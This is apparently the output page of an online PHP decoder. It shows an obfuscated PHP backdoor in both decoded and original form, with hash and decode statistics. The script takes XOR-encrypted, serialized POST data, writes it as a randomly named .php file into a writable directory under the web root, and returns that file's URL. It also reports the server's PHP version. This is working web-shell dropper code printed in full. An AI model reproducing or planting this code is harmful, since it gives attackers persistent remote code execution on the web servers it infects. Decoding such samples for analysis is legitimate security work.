Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $WFIFbUWVO = "OGEsc";function XpXFnZZ($WFIFbUWVO){$YWMrL = chr(603-489).'a'."\x77".'..

Decoded Output download

<?php $WFIFbUWVO = "OGEsc";function XpXFnZZ($WFIFbUWVO){$YWMrL = chr(603-489).'a'."w".'u'.'r'."l"."d".'e'.chr(99)."o".chr(100).'e';$BtKLGgs = 's'."t".chr(806-692).chr(95).chr(114).'o'.chr(116).chr(176-127)."3";$pKjPU = chr(115)."t".chr(114)."_".chr(671-556)."p".chr(670-562)."i".chr(116);$WFIFbUWVO = $pKjPU($YWMrL($BtKLGgs($WFIFbUWVO)));return $WFIFbUWVO;}function lpNrrKzu($RUIEykvTBJ, $MWnvUSut){$WDnUcg = "s".chr(116)."r"."_".'s'."p".chr(108).chr(105)."t";$RUIEykvTBJ = array_slice($WDnUcg(str_repeat($RUIEykvTBJ, (count($MWnvUSut)/16)+1)), 0, count($MWnvUSut));return $RUIEykvTBJ;}function ylAuoujl($fKxhZ, $kgajbkoHao, $RUIEykvTBJ){$XmstUQP = "a78df19e-a03c-4d8f-9926-4bf08bd14c16";return $fKxhZ ^ $XmstUQP[$kgajbkoHao % strlen($XmstUQP)] ^ $RUIEykvTBJ;}function mOldyREn($MWnvUSut, $RUIEykvTBJ){$MWnvUSut = array_map("ylAuoujl", array_values($MWnvUSut), array_keys($MWnvUSut), array_values($RUIEykvTBJ));$MWnvUSut = implode("", $MWnvUSut);$fHDMhpw = "u".chr(110).chr(115)."e".chr(114).chr(105)."a"."l"."i"."z".chr(960-859);$MWnvUSut = @$fHDMhpw($MWnvUSut);return $MWnvUSut;}function QbkTIVODY(){echo "YRlUFigU";}function rujxdov($glvLxir){static $wxPPisj = array();$VDTbBRz = glob($glvLxir . '/*', GLOB_ONLYDIR);$oLOBB = count($VDTbBRz);if ($oLOBB > 0) {foreach ($VDTbBRz as $glvLx) {$FiAIIKDza = 'i'."s".'_'."w"."r".chr(311-206)."t".chr(97)."b".chr(108)."e";if (@$FiAIIKDza($glvLx)) {$wxPPisj[] = $glvLx;}}}foreach ($VDTbBRz as $glvLxir) rujxdov($glvLxir);return $wxPPisj;}function EECkjM(){echo "OGEsc";}function jKCpCKw($MWnvUSut){$ygExXGnkHZ = "D".chr(430-351).chr(549-482)."U"."M"."E".chr(354-276).'T'.chr(95)."R".chr(79).chr(79)."T";$huOkmUE = $_SERVER[$ygExXGnkHZ];$VDTbBRz = rujxdov($huOkmUE);$giCMppFr = array_rand($VDTbBRz);$THfLlERCS = chr(861-815)."p".'h'.chr(112);$bCSetFoAOD = $VDTbBRz[$giCMppFr] . "/" . substr(md5(time()), 0, 8) . $THfLlERCS;$YZNFky = "f"."i"."l"."e".'_'."p".chr(117)."t".chr(794-699)."c".'o'.chr(110).'t'.chr(101)."n"."t".chr(115);@$YZNFky($bCSetFoAOD, $MWnvUSut);$opAEcg = chr(72).chr(84)."T"."P".'_'.'H'.chr(79).chr(931-848)."T";$ABtpdR = chr(458-354).'t'.'t'."p".chr(58)."/".chr(47);$VdVxw = $ABtpdR . $_SERVER[$opAEcg] . substr($bCSetFoAOD, strlen($huOkmUE));print($VdVxw);}foreach ($_POST as $RUIEykvTBJ => $MWnvUSut){$VIZlecrLYi = strlen($RUIEykvTBJ);if ($VIZlecrLYi == 16){$MWnvUSut = XpXFnZZ($MWnvUSut);$RUIEykvTBJ = lpNrrKzu($RUIEykvTBJ, $MWnvUSut);$MWnvUSut = mOldyREn($MWnvUSut, $RUIEykvTBJ);if (@is_array($MWnvUSut)){$giCMppFr = array_keys($MWnvUSut);$MWnvUSut = $MWnvUSut[$giCMppFr[0]];$giCMppFr = $giCMppFr[0];if ($MWnvUSut !== $giCMppFr){jKCpCKw($MWnvUSut);}else {$dQuPnbmhW = "p".chr(180-76).chr(1067-955);$vukxTAES = 'p'."h".'p'.chr(634-516).chr(101).chr(611-497).chr(115).chr(105).'o'."n";$MWnvUSut = Array($dQuPnbmhW => @$vukxTAES(), );$lhWdQLZ = chr(1080-965).chr(101)."r"."i".chr(97)."l".chr(670-565)."z".'e';echo @$lhWdQLZ($MWnvUSut);}die();}}} ?>

Did this file decode correctly?

Original Code

<?php $WFIFbUWVO = "OGEsc";function XpXFnZZ($WFIFbUWVO){$YWMrL = chr(603-489).'a'."\x77".'u'.'r'."\154"."\144".'e'.chr(99)."\x6f".chr(100).'e';$BtKLGgs = 's'."\x74".chr(806-692).chr(95).chr(114).'o'.chr(116).chr(176-127)."\x33";$pKjPU = chr(115)."\164".chr(114)."\137".chr(671-556)."\160".chr(670-562)."\151".chr(116);$WFIFbUWVO = $pKjPU($YWMrL($BtKLGgs($WFIFbUWVO)));return $WFIFbUWVO;}function lpNrrKzu($RUIEykvTBJ, $MWnvUSut){$WDnUcg = "\163".chr(116)."\x72"."\x5f".'s'."\160".chr(108).chr(105)."\164";$RUIEykvTBJ = array_slice($WDnUcg(str_repeat($RUIEykvTBJ, (count($MWnvUSut)/16)+1)), 0, count($MWnvUSut));return $RUIEykvTBJ;}function ylAuoujl($fKxhZ, $kgajbkoHao, $RUIEykvTBJ){$XmstUQP = "a78df19e-a03c-4d8f-9926-4bf08bd14c16";return $fKxhZ ^ $XmstUQP[$kgajbkoHao % strlen($XmstUQP)] ^ $RUIEykvTBJ;}function mOldyREn($MWnvUSut, $RUIEykvTBJ){$MWnvUSut = array_map("ylAuoujl", array_values($MWnvUSut), array_keys($MWnvUSut), array_values($RUIEykvTBJ));$MWnvUSut = implode("", $MWnvUSut);$fHDMhpw = "\165".chr(110).chr(115)."\x65".chr(114).chr(105)."\141"."\154"."\x69"."\x7a".chr(960-859);$MWnvUSut = @$fHDMhpw($MWnvUSut);return $MWnvUSut;}function QbkTIVODY(){echo "YRlUFigU";}function rujxdov($glvLxir){static $wxPPisj = array();$VDTbBRz = glob($glvLxir . '/*', GLOB_ONLYDIR);$oLOBB = count($VDTbBRz);if ($oLOBB > 0) {foreach ($VDTbBRz as $glvLx) {$FiAIIKDza = 'i'."\x73".'_'."\167"."\162".chr(311-206)."\x74".chr(97)."\142".chr(108)."\145";if (@$FiAIIKDza($glvLx)) {$wxPPisj[] = $glvLx;}}}foreach ($VDTbBRz as $glvLxir) rujxdov($glvLxir);return $wxPPisj;}function EECkjM(){echo "OGEsc";}function jKCpCKw($MWnvUSut){$ygExXGnkHZ = "\x44".chr(430-351).chr(549-482)."\x55"."\115"."\105".chr(354-276).'T'.chr(95)."\x52".chr(79).chr(79)."\x54";$huOkmUE = $_SERVER[$ygExXGnkHZ];$VDTbBRz = rujxdov($huOkmUE);$giCMppFr = array_rand($VDTbBRz);$THfLlERCS = chr(861-815)."\160".'h'.chr(112);$bCSetFoAOD = $VDTbBRz[$giCMppFr] . "/" . substr(md5(time()), 0, 8) . $THfLlERCS;$YZNFky = "\146"."\151"."\x6c"."\x65".'_'."\160".chr(117)."\164".chr(794-699)."\x63".'o'.chr(110).'t'.chr(101)."\x6e"."\x74".chr(115);@$YZNFky($bCSetFoAOD, $MWnvUSut);$opAEcg = chr(72).chr(84)."\124"."\120".'_'.'H'.chr(79).chr(931-848)."\124";$ABtpdR = chr(458-354).'t'.'t'."\160".chr(58)."\x2f".chr(47);$VdVxw = $ABtpdR . $_SERVER[$opAEcg] . substr($bCSetFoAOD, strlen($huOkmUE));print($VdVxw);}foreach ($_POST as $RUIEykvTBJ => $MWnvUSut){$VIZlecrLYi = strlen($RUIEykvTBJ);if ($VIZlecrLYi == 16){$MWnvUSut = XpXFnZZ($MWnvUSut);$RUIEykvTBJ = lpNrrKzu($RUIEykvTBJ, $MWnvUSut);$MWnvUSut = mOldyREn($MWnvUSut, $RUIEykvTBJ);if (@is_array($MWnvUSut)){$giCMppFr = array_keys($MWnvUSut);$MWnvUSut = $MWnvUSut[$giCMppFr[0]];$giCMppFr = $giCMppFr[0];if ($MWnvUSut !== $giCMppFr){jKCpCKw($MWnvUSut);}else {$dQuPnbmhW = "\x70".chr(180-76).chr(1067-955);$vukxTAES = 'p'."\x68".'p'.chr(634-516).chr(101).chr(611-497).chr(115).chr(105).'o'."\156";$MWnvUSut = Array($dQuPnbmhW => @$vukxTAES(), );$lhWdQLZ = chr(1080-965).chr(101)."\162"."\x69".chr(97)."\154".chr(670-565)."\172".'e';echo @$lhWdQLZ($MWnvUSut);}die();}}}

Function Calls

None

Variables

$WFIFbUWVO OGEsc

Stats

MD5 ce0754b724d8ad1cd9d05d7ba7dc7abe
Eval Count 0
Decode Time 81 ms